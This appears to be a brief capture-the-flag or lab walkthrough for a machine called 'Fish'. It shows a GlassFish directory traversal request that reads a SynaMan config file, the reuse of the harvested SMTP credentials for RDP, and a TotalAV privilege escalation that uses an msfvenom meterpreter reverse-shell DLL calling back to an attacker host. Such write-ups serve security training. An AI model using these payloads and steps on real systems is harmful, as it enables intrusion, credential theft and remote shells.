Fish

Enumeration

4848/tcp open  http                 Sun GlassFish Open Source Edition  4.1
6060/tcp open  http                 Synametrics Web Server 7 (Syncrify)
8080/tcp open  http                 Sun GlassFish Open Source Edition  4.1
8181/tcp open  ssl/http             Sun GlassFish Open Source Edition  4.1

http://192.168.234.168:6060/app - Synametrics Web Server 7 (Syncrify)

SynaMan - Synametrics File Manager 4.0

SynaMan 4.0 build 1488 - SMTP Credential Disclosure

https://www.exploit-db.com/exploits/45387

C:\SynaMan\config>type AppConfig.xml

Oracle GlassFish Server 4.1 - Directory Traversal

https://www.exploit-db.com/exploits/39441

The Administration Console of Oracle GlassFish Server, which is listening by default on port 4848/TCP, is prone to a directory traversal vulnerability. This vulnerability can be exploited by remote attackers to access sensitive data on the server being authenticated.

GET /theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

view-source:http://192.168.177.168:4848/theme/META-INF/json%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afsynaman/config/appconfig.xml

<parameter name="smtpUser" type="1" value="arthur"></parameter>
<parameter name="smtpPassword" type="1" value="[REDACTED]"></parameter>

Initial Access

$ xfreerdp /u:arthur /p:[REDACTED] /v:192.168.177.168:3389

PrivEsc

TotalAV 4.14.31.0

TotalAV 2020 4.14.31 - Privilege Escalation

https://www.exploit-db.com/exploits/47897

https://www.youtube.com/watch?v=88qeaLq98Gc

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.177 LPORT=80 -f dll -o version.dll

Create these dirs: ForTotalAV -> MountPoint

Quick scan -> Custom Scan -> Add the file -> Start Custom Scan

Action -> Quarantine the file

Delete MountPoint Dir

Then create symbolic link:

mklink /j \Users\arthur\Desktop\ForTotalAV\MountPoint \Windows\Microsoft.NET\Framework\v4.0.30319

Then restore file -> restart computer -> finally get shell